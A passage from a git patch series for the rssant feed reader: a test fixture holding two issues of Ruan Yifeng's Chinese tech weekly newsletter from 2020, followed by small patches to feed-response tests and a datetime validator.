    WordPress 团队最近更新了他们的编码标准,为全面升级到 PHP 7.x 版本做准备。

    + +

    9、如何检测用户是否使用了 adblocker?(英文)

    + +

    相当一部分用户安装了浏览器的广告拦截器 adblocker,这篇文章介绍如何检测出这些用户。

    + +

    10、如何使用线性代数进行几何变形(英文)

    + +

    + +

    作者在网页上给出直观的、可以互动的演示,展示几何变形与线性代数之间的关系。

    + +

    工具

    + +

    1、GoMailer

    + +

    一个轻量的电子邮件推送开源工具,可以与网站的用户反馈、留言等功能进行集成,将数据填入模板,投递到指定的邮箱。(@DuanJiaNing 投稿)

    + +

    2、Zarm

    + +

    + +

    一个 React 组件库,众安科技出品。特点是依赖少体积小(压缩后 60KB),扩展性好,样式命名采用了 BEM 规范。(@edison-hm 投稿)

    + +

    3、KafkaCenter

    + +

    + +

    一站式的 Kafka 集群管理和维护平台,代码开源,完善的权限设计,使用方便,无需精通 Kafka 就能管理集群。(@TrumanDu 投稿)

    + +

    4、XAudioPro

    + +

    + +

    在线音频实时剪辑转码网站。我个人本身是做音频开发出生的,对音频算法底层很熟悉,所以就诞生了创建这个网站的想法。

    + +

    专业的 Audition 软件主要面对很多专业人士,里面的操作比较复杂,对于普通的人来说要想完成一个简单的功能操作比较繁锁,所以这个网站兼顾了准专业性和傻瓜式的操作。(@luolongzhi 投稿)

    + +

    5、办公室噪音生成器

    + +

    + +

    在家远程办公的时候,你会不会想起办公室嘈杂的工作环境,说话声、电话铃声、敲击键盘声、喝水声...... 这里有一个办公室噪音生成器,可以无限播放。

    + +

    6、HugeGraph

    + +

    百度安全团队研发的一款易用、高效、通用的开源图数据库系统, 具备完善的工具链组件,助力用户轻松构建基于图数据库之上的应用和产品。

    + +

    典型应用场景包括深度关系探索、关联分析、路径搜索、特征抽取、数据聚类、社区检测、 知识图谱等。(@Emmano2 投稿)

    + +

    7、SimpleCTO screenshot

    + +

    一个在线生成网站截图的工具,用户提交 URL,就能下载网页截图,代码开源。

    + +

    8、 Swift Playgrounds

    + +

    + +

    苹果公司官方的免费 Mac 桌面软件,通过游戏学习 Swift 语言。

    + +

    9、time.gov

    + +

    + +

    美国政府显示国内各时区的时间的网站。

    + +

    10、progressive-image-element

    + +

    一个 HTML 的自定义元素(custom element),可以懒加载网页图片。这个元素的代码非常简单,可以作为学习自定义元素的写法范例。

    + +

    资源

    + +

    1、隔离故事

    + +

    该网站让居家隔离的人们上传照片,展示他们从窗外看到了什么。下图是一个意大利米兰的用户上传的照片。

    + +

    + +

    2、Unity 官方教程

    + +

    Unity 是一个游戏开发引擎,它的官方教程现在免费开放3个月,从零教你写一个 3D 游戏,教程质量相当高。

    + +

    + +

    3、D3.js 教程

    + +

    D3.js 是功能强大、使用最广泛的 JavaScript 可视化图形库,这组九篇的系列文章是最新的入门教程。

    + +

    + +

    4、Colorables

    + +

    + +

    这个网站可以下载各种填色图片,打印以后让小朋友用蜡笔填色。

    + +

    5、舒压歌单

    + +

    这是一个10首音乐的 Spotify 歌单,长度为一个小时,根据这篇文章的说法,可以舒缓压力、减轻焦虑。如果时间不够,可以只听《Weightless》这一首。

    + +

    + +

    图片

    + +

    1、喜力砖

    + +

    + +

    1963年,两位设计师看到啤酒瓶到处丢弃,引起环境问题,就提出能不能把酒瓶做成砖头的形状,喝完以后还能用于建筑。

    + +

    + +

    喜力公司采纳了这个建议,设计生产了一批砖头形状的啤酒瓶,被称为"喜力砖"。这种瓶子一共生产了10万个,再没有继续生产。

    + +

    目前,荷兰的喜力博物馆有一个用这种瓶子建成的小棚。

    + +

    + +

    + +

    2、旧金山的街道

    + +

    旧金山的很多房子,都是沿着山坡建的。所以,你可以轻易拍出很多奇特的照片。

    + +

    + +

    + +

    + +

    文摘

    + +

    1、中国的第一个口罩

    + +

    1879年,祖籍广州的伍连德出生于马来西亚北部的一个小岛。他年幼聪明,17岁获得了女皇奖学金,赴英国剑桥大学就读细菌学。1903年,24岁获得博士学位。

    + +

    1907年,伍连德受直隶总督袁世凯聘请,担任天津陆军军医学堂副监督(即副校长)。

    + +

    + +

    1910年,哈尔滨爆发了鼠疫。伍连德临危受命,担任了"东三省防疫全权总医官"。这个头衔听上去很大,实际上他手下只有两个人。

    + +

    抵达的第三天,为弄清疫情来源,伍连德决定冒险解剖尸体,进行了中国医生的第一例人体解剖。他最终判断疫情为"肺鼠疫",是比普通鼠疫更严重的一种烈性传染病,通过人际呼吸飞沫传播。

    + +

    他开始组织疫区进行严格隔离。在他的隔离建议下,东北多条铁路、公路被切断,他还费了极大精力说服当时的人们同意焚烧尸体。

    + +

    为阻挡鼠疫的飞沫传播,他发明了一种用两层纱布制作的口罩,被称之为"伍氏口罩"。这种口罩制造简单,材料易获得,成本很低。这是口罩首次在中国出现,被报纸广泛报道。

    + +

    + +

    (图片说明:中国的第一批口罩"伍式口罩"。)

    + +

    在伍连德的努力下,不到4个月哈尔滨疫情就迅速被控制,死亡人数下降为0。接下来1919年东北霍乱、1932年上海霍乱防疫战中,伍连德也发挥了极其重要的领导作用。由于在鼠疫研究特别是发现旱獭在鼠疫传播中的作用,伍连德在1935年被诺贝尔医学奖提名为候选人。

    + +

    + +

    伍连德还专注于中国医学教育和发展。在伍连德主持下建成的北京中央医院,成为中国人建立的第一所现代医院,也就是今天的北京大学人民医院。1924年,伍连德在沈阳建成了东北陆军医院,这是当时中国规模最大、设备最好的医院。1926年,他创办了哈尔滨医学专科学校,为当地培养医学人才,这个学校就是哈尔滨医科大学的前身。他前前后后在中国主持兴办了20多所医院和医学院校,为中国培养了众多医学人才。

    + +

    + +

    (图片说明:哈尔滨伍连德纪念馆雕像)

    + +

    1937年,抗日战争爆发。伍连德在上海的房子被日军炸毁,他决定返回马来西亚居住。1960年,他在马来西亚逝世,享年82岁。

    + +

    2、H5N1 的风险

    + +

    (说明:作者为风险投资家,本文写于2013年。)

    + +

    我对生物技术的未来,感到非常担忧。这种技术具有令人难以置信的潜力,可以改善我们的生活,甚至可能比计算机更重要,但也有很多不利的方面。

    + +

    + +

    2011年,一些研究人员想出了如何重新设计 H5N1(禽流感病毒),使其同时发生五个突变。这五个突变共同使该病毒既易于传播又具有致命性。这五个突变都可能自然发生,但不太可能同时发生,除非人工干预。

    + +

    现在,我们有了在实验室中创建病毒的工具。当某人制造出一种极易传播,死亡率超过50%,潜伏期为几周的病毒时,会发生什么?

    + +

    这样的事情会由一个坏蛋干出来,而世界却没有时间做准备,可能在几个月内消灭一半以上的人口。被操纵的生物技术可能会有效地终结世界。

    + +

    世界各国非常不愿意采取协调行动。原子弹只在一个地点造成严重后果,但病毒不同,只需要释放出来一个,就可能对全球造成严重后果,而给我们的时间却很少。浓缩铀需要巨大的政府投入的资源,而生物技术的开发已经可以由私人公司完成。

    + +

    我们应该高度重视,在主动防御生物攻击方面投入大量精力。

    + +

    当我们首次能够在车库中创建软件程序时,它改变了世界。当我们开始能够在车库中进行生物工程时,可能会比计算机革命更快地引发变化。

    + +

    言论与数字

    + +

    1、

    + +

    去年成功套现/卖掉的创业公司,都值得祝贺。

    + +

    -- Twitter 用户

    + +

    2、

    + +

    战争时,你要坚定不移;失败时,你要绝不屈服;胜利时,你要宽容大度;和平时,你要满怀善意。(In war, resolution; in defeat, defiance; in victory, magnanimity; in peace, goodwill.)

    + +

    -- 邱吉尔《第二次世界大战回忆录》

    + +

    3、

    + +

    一个人的人际关系,能有多大?

    + +

    英国人类学家鲁宾·邓巴提出,一个人能够记住其他人是谁、并且能保持与那些人之间的关系,这样的人数在100~250之间,通常使用的值是150。这被称为邓巴数。

    + +

    -- 维基百科

    + +

    4、

    + +

    浅水是喧哗的,深水是沉默的。(Shallow water is roaring, deep water is silent.)

    + +

    -- 雪莱

    + +

    + +

    5、

    + +

    呼吸机的制造难度在于,要保持一个狭窄的压力范围。压力不能太小,必须可以让氧气进入肺泡,但又不能太大而使肺破裂。

    + +

    -- HN 读者

    + +

    6、

    + +

    如果你为一家公司打工,要做的就是准时上班,尽力满足公司对你最低的期望,8小时工作下班后,回家与家人共度美好时光。这样的话,当公司解雇你的时候,你就没有什么可哭的了。你总能找到一份工作,但无法找回为实现别人的梦想而付出的你的时间。

    + +

    -- HN 读者

    + +

    回顾

    + +

    去年的本周:《周刊第 50 期》

    + +

    + +

    订阅

    + +

    这个周刊每周五发布,同步更新在阮一峰的网络日志微信公众号

    + +

    微信搜索"阮一峰的网络日志"或者扫描二维码,即可订阅。

    + +

    + +

    (完)

    +]]> +

    文档信息

    +
      +
    • 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证
    • +
    • 发表日期: 2020年4月 3日
    • + +
    ]]> + ]]> +
    +
    + + + 科技爱好者周刊:第 100 期 + + tag:www.ruanyifeng.com,2020:/blog//1.2167 + + 2020-03-27T01:29:19Z + 2020-04-09T13:40:07Z + + 这里记录每周值得分享的科技内容,周五发布。... + + 阮一峰 + http://www.ruanyifeng.com + + + + + + + 这里记录每周值得分享的科技内容,周五发布。

    +]]> + 本杂志开源(GitHub: ruanyf/weekly),欢迎提交 issue,投稿或推荐你的项目。

    + +

    周刊讨论区的帖子《谁在招人?》,提供大量就业信息,欢迎访问或发布工作/实习岗位。

    + +

    + +

    封面图:上周五(3月20日)下午,通往洛杉矶市中心的110高速公路几乎完全空了,平时周末都是塞车的。(美联社

    + +

    刊首语:零利率时代

    + +

    美国最近将基准利率降到了0%。我觉得,大家对这件事不太关注,觉得跟自己没关系,或者觉得这是临时措施。

    + +

    事实恰恰相反。我觉得,这是最重要的几个长期经济迹象之一,对每个人都会产生影响,而且比疫情本身的影响更深远持久。

    + +

    + +

    它说明了一件事,高利率的时代已经永远地结束了。 美国的利率降到了零,中国的利率也在不断下降,欧洲甚至在去年就已经是负利率了。这绝不是暂时的,我们将会长期面对低利率。

    + +

    + +

    (图片说明:过去30年的中国银行间贷款利率变化。)

    + +

    利率是资金的成本。利率低就说明资金便宜,你可以用非常低的价格借到钱。反过来,它也反映了社会的平均利润率。如果各种项目的利润率很高,而利率又很低,就会有更多的人去借钱,从而促使利率回升。

    + +

    利率一降再降,恰恰说明了社会的平均利润率在不断下降。 通俗地说,就是可以赚钱的好项目,越来越难找了。

    + +

    下面就是这件事对每个人的影响: 高回报项目的消失、利率的下降、经济增长的放缓,使得你很难有办法攒钱了。 你好不容易积攒了一点工资,却发现根本找不到高回报的投资途径,不管是银行存款、证券投资、项目投资,回报率都很低。

    + +

    由于投资回报很低,大部分人的财富只能主要依靠工资积累,一有大的消费,或者生活变故,那点钱顿时就会化为乌有。所以对于年轻人来说,想要生活自立,就必须尽早开始工作,获取工资。越晚工作,经济处境就会越困难,因为你找不到快速积累资金的方法,年龄在增长,但是资产却增长很慢。

    + +

    回到上一期话题,应不应该读研?我认为,如果等到24岁才研究生毕业,去就业市场找人生第一份工作,就真的有点太晚了。至少在读研期间,就要想办法去挣钱。

    + +

    前端培训课程

    + +

    本周的培训推介,是来自"职坐标"的前端和小程序课程。

    + +

    现在,国内的互联网公司陆续正常上班了,接下来的招聘和面试高峰,估计将出现在5、6月份。想要转行前端或者提升自己的同学,可以抓住眼下这一两个月,进行针对性的学习和准备。

    + +

    "职坐标"是腾讯课堂里面唯一一家双认证("严选课程"认证和"金课堂"认证)的前端培训机构,有着良好的培训记录和平台的质量监控。

    + +

    他们给周刊的读者提供了一门前端免费教学视频 《前端全栈程序员:小白165天逆袭成为Web工程师》,教你学习全栈,提升互联网开发能力,增进就业的竞争力,讲解内容覆盖了前端开发所需的关键技术和技能。

    + +

    + +

    对于移动端的微信小程序和项目实战感兴趣的同学,可以关注下面两门课程《微信小程序》和《Vue.js 大型项目实战》。

    + +

    + +

    上面这两门课程原价分别是68元和29.9元,现在只要1元!

    + +

    微信扫描下方二维码,加入职坐标 Web 前端学习群,回复"小程序"就可获得1元体验券,并赠送前端学习资料,名额只有129个,感兴趣的同学抓紧时间。

    + +

    + +

    资讯

    + +

    1、自制呼吸面罩

    + +

    + +

    + +

    意大利的一个发明家团体,为了解决呼吸机不足的问题,提出可以将迪卡侬的浮潜面罩,改造成呼吸面罩。所需要的步骤仅仅是一个 3D 打印的氧气阀门,然后将氧气接入就可以了。

    + +

    为了防止出现纠纷,他们将这个发明申请了专利,然后承诺所有人都可以免费使用,并将 3D 打印源文件发布到网上。

    + +

    + +

    2、液态金属

    + +

    + +

    1992年的电影《终结者2》中,一个机器人杀手变形为液态金属,令观众印象深刻。科学家也对室温下能够导热和导电的液体,抱有浓厚的兴趣。汞虽然是液态的,但是对人体有毒。目前对液态金属的研究都集中在镓上,镓是无毒的,温度达到30°C就会熔化,更难得的是,镓合金的熔化温度更低,而且没有蒸气不会被吸入。

    + +

    最近,中国研究团队已经证实,通过磁场可以控制镓-铟-锡合金,达到电影《终结者2》里面的液态金属受控聚合的效果。当一滴镓铟合金放在强碱溶液中时,施加电压会导致在该液滴从球形变成雪花状的分形图案(下图)。科学家认为这种行为有突破性的应用前景。

    + +

    + +

    3、iPad Pro 的新 CPU

    + +

    + +

    苹果公司上周发布的 iPad Pro 支持触摸板和鼠标。国外评论认为,这实际上是苹果在尝试 ARM CPU 的笔记本电脑。如果成功,下一步就要将 MacOS 从 x86 CPU 移植到 ARM CPU。

    + +

    苹果自己可以生产 ARM CPU,而 x86 CPU 都需要从 Intel 购买。更换 CPU 的主要好处是,ARM CPU 比较节能,电池可以使用更长时间。而且更换后,手机和笔记本的操作系统就可以统一了,理论上手机 App 就可以直接在笔记本运行。目前,主要指标是看 Xcode 何时能移植到 iPad Pro,现在还不行。

    + +

    4、虚拟的一级方程式大奖赛

    + +

    + +

    篮球迷和足球迷都还不知道,联赛何时能够恢复,但是赛车迷已经可以看到线上虚拟比赛了。一级方程式赛车组委会宣布,从3月22日开始每周末将在网上直播虚拟的一级方程式大奖赛,参加者都是实际的赛车手,即车手在网上进行虚拟的赛车比赛。

    + +

    上周日的 Twitch 直播,反响很热烈,两个小时吸引了7万多名观看者,最高时同时在线有23,000多个观众。比赛采用的是 PC 游戏 F1 2019 ,赛道长度是实际的50%,共28圈。雷诺 F1 车队的中国试车手周冠宇赢得了冠军。NASCAR 网站提供比赛精彩片段的录像。

    + +

    5、双层飞机座椅

    + +

    + +

    + +

    飞机的经济舱总是很不舒服,拥挤而且无法伸直腿。美国一家创业公司提出了双层座椅的设计,可以提供更大的空间,每位乘客都有一个小隔间,甚至可以躺下来。

    + +

    发明者说,这种座椅不会多占空间,可以容纳当今宽体客舱中相同数量的座位,因此不会影响航空公司的盈利。但是,上层的乘客需要从梯子爬上去,具体介绍可以看下面这段30秒的视频

    + + + +

    6、一句话消息

    + +
    +
      +
    • Netflix 在欧洲降低流媒体服务的比特率,为期30天,预计可以减少带宽消耗25%。目的是减轻网络服务商的压力,让出更多的带宽为居家办公服务。Youtube 也做出了类似变动。
    • +
    +
    + +

    + +
    + +
    + +

    + +
    +
      +
    • 图标库 FontAwesome 发布最新版本,添加了病毒、医疗方面的许多新图标,用于制作标牌、报告、站点、应用程序,可以免费使用。
    • +
    +
    + +

    + +

    + +
    +
      +
    • 国内公司推出"发热头盔",可以使用红外摄像头查看前方5米范围内的人员,自动找出体温超过37.3摄氏度的发热人员。但是,它应该很耗电,所以重量不会轻,戴在头上可能很累。
    • +
    +
    + +

    + +

    + +
    +
      +
    • 美国宇航局卫星照片发现,中国的环境污染(二氧化氮超标)在二月份大幅下降。
    • +
    +
    + +

    + +

    + +
    +
      +
    • 武汉大学的樱花很有名,但是今年不对外开放。学校使用5G直播车,开启"云赏樱",每天上午10时至下午16时,通过网络直播校园樱花实景。
    • +
    +
    + +

    + +

    + +
    +
      +
    • 新加坡政府发布了一个手机 App,使用蓝牙通信,记录在周围出现的其他手机。目的是一旦某人确诊,可以找出他接触过的人。虽然这个想法非常好,但是 App 目前是自愿使用,所以不一定能取得满意的效果。
    • +
    +
    + +

    文章

    + +

    1、PlayStation 5 vs Xbox Series X 硬件比较(中文)

    + +

    + +

    今年就要发布的两大游戏机 PlayStation 5 和 Xbox Series X,硬件基本相同。如果你想同时玩这两个平台的独占游戏,就不得不同样的硬件买两套。索尼和微软真的可以考虑走 Steam 的模式,只出售主机操作系统,把硬件改成开放平台,让第三方厂商去做,反正现在硬件都是亏的。

    + +

    2、《人类简史》作者赫拉利谈流行病(中文)

    + +

    + +

    面对2月以来新冠肺炎疫情在全球范围内的快速蔓延,赫拉利撰写了这篇文章,在《三联生活周刊》独家中文刊发。

    + +

    他的核心观点是,关闭国界不是阻止病毒传播的好办法,人类应该加强合作,而不是互相指责。对病毒的最佳防御不是隔离,而是信息。另外,他在《金融时报》发表的长文《冠状病毒之后的世界》也可以参考。

    + +

    3、日历版本的实施方案(英文)

    + +

    图数据库软件 Dgraph 决定从语义版本切换到日历版本YY.0M.PatchNumber,本文介绍 Dgraph 的实施方案。

    + +

    4、我如何使用 Speech Synthesis API 自动生成语音(英文)

    + +

    作者给出了一段简短的代码,使用 Speech Synthesis API 进行语音生成,让浏览器自己读出博客内容。

    + +

    5、过去66年的66项最佳年度发明

    + +

    + +

    这篇文章展示了从1954年开始,每一年的年度最佳发明,比如1954年是微波炉,1955年是脊髓灰质炎疫苗,1956年是计算机硬盘,2019年是世界最大的电动车 eDumper(上图)。

    + +

    6、使用树莓派自制热像仪(英文)

    + +

    + +

    作者介绍自己如何使用树莓派,制造了一个便宜的热像仪,可以感知人群中体温偏高的人。

    + +

    7、使用 Jekyll 和 GitHub Pages 创建个人网站(英文)

    + +

    一篇非常详细的操作指南,如何使用 Jekyll 建立一个静态网站,并发布到 GitHub Pages。

    + +

    8、击败垃圾留言机器人(英文)

    + +

    作者介绍一个小技巧,防止机器人通过网页表单,提交垃圾留言。方法是为表单元素<form>加上一个data-action属性,真正的提交地址放在这个属性里面。

    + +

    9、化石燃料的未来(英文)

    + +

    这是一篇投资咨询公司写的能源价格分析,文章比较长,但是值得一读。作者认为,随着绿色能源价格不断降低,化石燃料(石油、煤、天然气)将进入"永久的熊市"。

    + +

    下图是过去三年,能源股票的价格变化。蓝线是 SP500 指数,上涨了40%;绿色是太阳能股,上涨了80%;橙线是石油天然气,红色是煤炭,都是下跌的。也就是说,化石能源的股票走势都很糟糕。

    + +

    + +

    10、三种数据类型(英文)

    + +

    作者认为,软件的数据分为三种:常量(不可变,也不可替换)、状态(可变可替换)和缓存(不可变,但可替换)。

    + +

    工具

    + +

    1、pwgen

    + +

    一个 WASM 模块,用来生成随机密码,可以在命令行使用,也可以作为自定义元素插入网页。

    + +

    2、Excalidraw

    + +

    + +

    一个非常简单易用的白板绘图开源工具。

    + +

    3、Screen.so

    + +

    + +

    一个基于 Web 的视频会议软件,可以共享白板和视频,并且能够合作编程。

    + +

    4、紧急状况模板

    + +

    + +

    有时候,网站会突然无法访问,这时就需要提供一个临时的应急网址。这里有提供一个网站紧急状况的网页模板。

    + +

    5、字体裁剪工具

    + +

    中文的字体文件都非常大,网页全部加载不现实。这个工具可以从字体里面,选取网页需要的字符,生成新的字体文件。(@2234839 投稿)

    + +

    6、xterm-player

    + +

    一个基于 Web 的命令行终端录制回放工具,解决了分享命令操作时,无法拷贝文字以及视频体积较大的问题。(@JavaCS3 投稿)

    + +

    7、图灵派(Turing Pi)

    + +

    + +

    图灵派是树莓派的一个集群板,好比机房里面的一个机架,可以用来自己架设 Kubernetes 集群。

    + +

    8、EVM

    + +

    一个国产的针对物联网的超轻量虚拟机,本质上是一款通用、精简的嵌入式虚拟机,由语法解析前端框架和字节码运行后端构成,可运行在资源受限制的单片机上。(@scriptiot-dev 投稿)

    + +

    9、react-visual-editor

    + +

    + +

    React 的组件可视化拖拽页面编辑与代码生成工具,让不会 React 技术栈的人员可以通过拖拽生成页面。(@anye931123 投稿)

    + +

    10、dino

    + +

    + +

    一个支持 XMPP 协议的聊天客户端。

    + +

    资源

    + +

    1、浏览器在 2020 年可以干什么?

    + +

    这个仓库收集各种新兴的浏览器 API,展示浏览器具备的能力。如果你想追踪 Web App 开发的前沿,可以关注它。上图是浏览器的画中画 API。

    + +

    2、ActivityPub 协议的开源软件

    + +

    + +

    ActivityPub 是一种去中心化的内容聚合协议,可以让其他用户远程订阅你的内容。它很像升级版的 RSS,但是支持远程推送。这里是 ActivityPub 协议技术细节的介绍

    + +

    下面是目前支持 ActivityPub 协议的开源软件,可以自己架设服务。

    + +
    + +
    + +

    3、CS 253:Web 安全

    + +

    斯坦福大学的 Web 攻击课程,里面有资料下载,介绍各种攻击手段的基础知识,比如代码注入、网络钓鱼、网络指纹等等。

    + +

    4、基于 IPFS 的电子书搜索引擎

    + +

    + +

    网友上传至 IPFS 网络的电子书索引,目前收入量约5万。使用Flask + Elasticsearch + Nginx 构建,已在 GitHub 部分开源。(@SaltyLeo 投稿)

    + +

    5、GitHub 中文项目排行榜

    + +

    这个仓库收集 GitHub 上面国人的中文项目的 Star 排行。(@9527q 投稿)

    + +

    图片

    + +

    1、Spomeniks

    + +

    该网站收集东欧共产主义时期各种奇特形状的纪念碑。

    + +

    + +

    + +

    + +

    + +

    2、圆塔

    + +

    丹麦首都哥本哈根的市中心,耸立着一座七层的塔楼,高35米。

    + +

    + +

    这是始建于1642年的天文馆,那一年伽利略去世,日心说开始占据主流,天文学研究出现了大爆发。国王决定建造一座专门的天文台。

    + +

    + +

    这座楼最大的特点,就是内部没有一级台阶,都是螺旋式上升的砖道。这是为了方便推车将沉重的天文仪器运到塔楼的顶部。

    + +

    + +

    文摘

    + +

    1、为什么没有冠状病毒疫苗?

    + +

    Covid-19 出现之前,常见的冠状病毒有4种,对于大多数人来说,它们仅仅引起轻度感冒。这些病毒会激发人体的免疫反应,使得人体自然康复。康复以后,体内会产生抗体,使你受到大约一年或更长时间的保护,但是抗体最终会消失。

    + +

    也就是说,人类可以被同一种病毒再次感染,所以需要注射疫苗。但是,实际上并没有针对这4种冠状病毒的疫苗。为什么我们不开发冠状病毒疫苗呢?

    + +

    + +

    原因一。大多数感冒是由其他病毒引起的,比如鼻病毒、RSV、副流感病毒等等。4种冠状病毒只会导致大约20%的感冒。由于每一种病毒都需要不同的疫苗,所以冠状病毒疫苗实际上需要4种。但是,即使你全部使用4种疫苗,也只能抵御 20%的感冒。

    + +

    原因二。证明疫苗有效的临床试验,非常困难而且昂贵。即使疫苗将冠状病毒导致的感冒风险降低了75%,也仅将整体的感冒风险降低了15%。设计一个大型实验,证明15%的减少是可能的,但会非常贵。而且,一个成年人每年得2次~4次感冒,减少15%意味着每年甚至不会少感冒1次,这听起来并不吸引人。

    + +

    原因三。人们真正想要的,不是冠状病毒的感冒疫苗,而是一种万能的感冒疫苗,可以抵御尽可能多的感冒病毒,但是科学家至今也不知道30%的感冒是什么原因导致的。这意味着,疫苗必须具有多种成分(抗原)才能有效,所有的成分都需要单独的开发和研究,所以感冒疫苗不是一种单一的产品,而是一种复合产品。

    + +

    原因四。大多数人对感冒并不重视,因为绝大部分感冒不会出现严重后果,所以人们不太愿意出钱注射感冒疫苗。感冒疫苗的市场前景并不好,葛兰素史克曾经开发过一种感冒疫苗,几年后就退出了市场。投资人不愿意支持会商业失败的药物,所以一直以来感冒疫苗得不到足够的资金支持。

    + +

    但是,Covid-19 疫苗不一样,它仅针对一种病毒,而不是十几种不同的病毒,所以试验会非常简单。而且,它的传染力强,对于老年人后果严重,保险公司和政府会愿意为它付款。

    + +

    2、为什么你不能一次喝太多的水?

    + +

    你知道吗,喝水也会喝死人。

    + +

    一个体重75公斤的人,一口气喝6升水,就会有死亡的危险。原因跟血液中钠的含量有关。

    + +

    + +

    钠元素是人体最重要的化学元素之一,具有许多重要功能,例如调节血压和帮助传导神经冲动。但是,钠最重要的功能可能就是维持体内的体液平衡。

    + +

    如果一次性喝太多水,血液中的水含量就会增加,使得血液中的电解质(尤其是钠)被稀释。血液中钠浓度过低的这种情况,称为低钠血症,严重者可出现水中毒,症状包括头痛、疲劳、恶心、呕吐、小便频繁、血压升高、复视和精神错乱。

    + +

    根据《科学美国人》的报道,美国发生过几起喝水过多、导致死亡的案件。比如,一名28岁的加利福尼亚妇女在参加一个比赛时,三个小时内喝掉六升水,出现呕吐、头痛欲裂,回家后死于所谓的水醉。2005年《新英格兰医学杂志》进行的一项研究发现,近六分之一的马拉松运动员会出现某种程度的低钠血症,原因可能就是饮水过多而导致血液稀释。

    + +

    肾脏负责从血液中过滤出水和其他溶质,人体多余的水会流到膀胱,形成尿液。但是,在水中毒的情况下(即喝太多的水超过了身体需要量时),肾脏将无法正常工作。

    + +

    肾脏每天可以排泄约20至28升水,但每小时不超过0.8至1.0升。因此,当一个人在短时间内喝过多的水时(例如,一小时内喝3至4升水),肾脏将无法足够快地将水过滤掉,血液将变得充满水。结果,过量的水稀释了血液中的钠含量并进入细胞,导致其肿胀。

    + +

    一旦脑细胞发生肿胀,可能会危及生命。因为大脑被限制在头骨内,由于没有扩大或肿胀的空间,过多的液体积聚会导致脑水肿(或肿胀)甚至死亡。

    + +

    因此,如果要避免低钠血症的症状,每小时就不要喝超过0.8到1.0升的水。超过这个量的水对身体来说就太多了,并且可能给肾脏造成伤害。

    + +

    言论

    + +

    1、

    + +

    咖啡的兴起与资本主义有千丝万缕的联系。资本主义兴起之前,体力劳动主要依靠酒精刺激体力的兴奋。但是当工作涉及机器和数字时,酒精就成为一个问题,而咖啡比酒精更安全,可以提高精神的兴奋。

    + +

    -- 《咖啡如何占领世界的黑暗历史》

    + +

    2、

    + +

    病毒可能有数百万、甚至数万亿种,但是迄今人类只命名了6,828种病毒,已知其中250种会感染人体。

    + +

    -- 《纽约时报》

    + +

    3、

    + +

    影响编程效率最大的因素,不是使用何种编程语言,而是昨晚你的睡眠是否充足。

    + +

    -- 《我的软件工程信念》

    + +

    4、

    + +

    几乎所有的战争原则,都可以总结为一个词"集中",或者扩展成一句话"集中力量攻击敌人的弱点"。

    + +

    -- 李德·哈特《战略论:间接路线》

    + +

    5、

    + +

    我并不是说欧盟是完美的,但每个人类机构都有缺陷。改进现状的方法不是发脾气大吼一声,甩门而去。

    + +

    -- 一个英国人评论英国脱欧

    + +

    6、

    + +

    手机操作系统不愿意全力支持 Web App ,是故意的。因为他们要通过应用商店赚钱,让应用只能通过应用商店安装,就可以保证获得庞大的收入。

    + +

    -- HN 读者

    + +

    回顾

    + +

    去年的本周:《周刊第 49 期》

    + +

    + +

    订阅

    + +

    这个周刊每周五发布,同步更新在阮一峰的网络日志微信公众号

    + +

    微信搜索"阮一峰的网络日志"或者扫描二维码,即可订阅。

    + +

    + +

    (完)

    +]]> +

    文档信息

    +
      +
    • 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证
    • +
    • 发表日期: 2020年3月27日
    • + +
    ]]> + ]]> +
    +
    + +
    -- Gitee From ad762139510cc3afdcedb56759139e496f24503c Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 20:17:13 +0800 Subject: [PATCH 12/26] update tests for feed response and feed checksum --- tests/feedlib/test_feed_checksum.py | 4 ++-- tests/feedlib/test_response.py | 23 +++++++++++++++++++++++ 2 files changed, 25 insertions(+), 2 deletions(-) create mode 100644 tests/feedlib/test_response.py diff --git a/tests/feedlib/test_feed_checksum.py b/tests/feedlib/test_feed_checksum.py index 61ef774..c9cd545 100644 --- a/tests/feedlib/test_feed_checksum.py +++ b/tests/feedlib/test_feed_checksum.py @@ -109,7 +109,7 @@ def _format_t(t): return '{:.1f}ms'.format(t * 1000) -def benchmark_feed_checksum(): +def test_benchmark_feed_checksum(): for n in range(100, 1001, 100): storys = _random_storys(n) checksum = FeedChecksum() @@ -134,4 +134,4 @@ def benchmark_feed_checksum(): if __name__ == "__main__": - benchmark_feed_checksum() + test_benchmark_feed_checksum() diff --git a/tests/feedlib/test_response.py b/tests/feedlib/test_response.py new file mode 100644 index 0000000..66568cd --- /dev/null +++ b/tests/feedlib/test_response.py @@ -0,0 +1,23 @@ +from rssant_feedlib.response import FeedResponseStatus, FeedResponse, FeedContentType + + +def test_response_status(): + status = FeedResponseStatus(-200) + assert status == -200 + assert FeedResponseStatus.name_of(200) == 'OK' + assert FeedResponseStatus.name_of(600) == 'HTTP_600' + assert FeedResponseStatus.name_of(-200) == 'FEED_CONNECTION_ERROR' + assert FeedResponseStatus.is_need_proxy(-200) + + +def test_response_repr(): + response = FeedResponse( + content=b'123456', + url='https://example.com/feed.xml', + feed_type=FeedContentType.XML, + ) + assert repr(response) + response = FeedResponse( + url='https://example.com/feed.xml', + ) + assert repr(response) -- Gitee From 1b5467ec73fdecb1e6418c39109e9de5d0e5eb20 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 20:46:47 +0800 Subject: [PATCH 13/26] add feed dt_updated field --- rssant_common/validator.py | 11 ++++------- rssant_feedlib/parser.py | 2 ++ rssant_feedlib/raw_parser.py | 7 +++++++ 3 files changed, 13 insertions(+), 7 deletions(-) diff --git a/rssant_common/validator.py b/rssant_common/validator.py index 13ecbdc..b0cf323 100644 --- a/rssant_common/validator.py +++ b/rssant_common/validator.py @@ -1,5 +1,4 @@ import datetime -import time import functools from collections import namedtuple from base64 import urlsafe_b64encode, urlsafe_b64decode @@ -78,11 +77,7 @@ def url_validator(compiler, scheme='http https', default_schema=None, relaxed=Fa def datetime_validator(compiler, format='%Y-%m-%dT%H:%M:%S.%fZ', output_object=False): def validate(value): try: - if isinstance(value, list) and len(value) == 9: - value = tuple(value) - if isinstance(value, tuple): - value = datetime.datetime.fromtimestamp(time.mktime(value), tz=timezone.utc) - elif not isinstance(value, datetime.datetime): + if not isinstance(value, datetime.datetime): value = parse_datetime(value) if value is None: raise Invalid('not well formatted datetime') @@ -90,7 +85,9 @@ def datetime_validator(compiler, format='%Y-%m-%dT%H:%M:%S.%fZ', output_object=F value = timezone.make_aware(value, timezone=timezone.utc) # 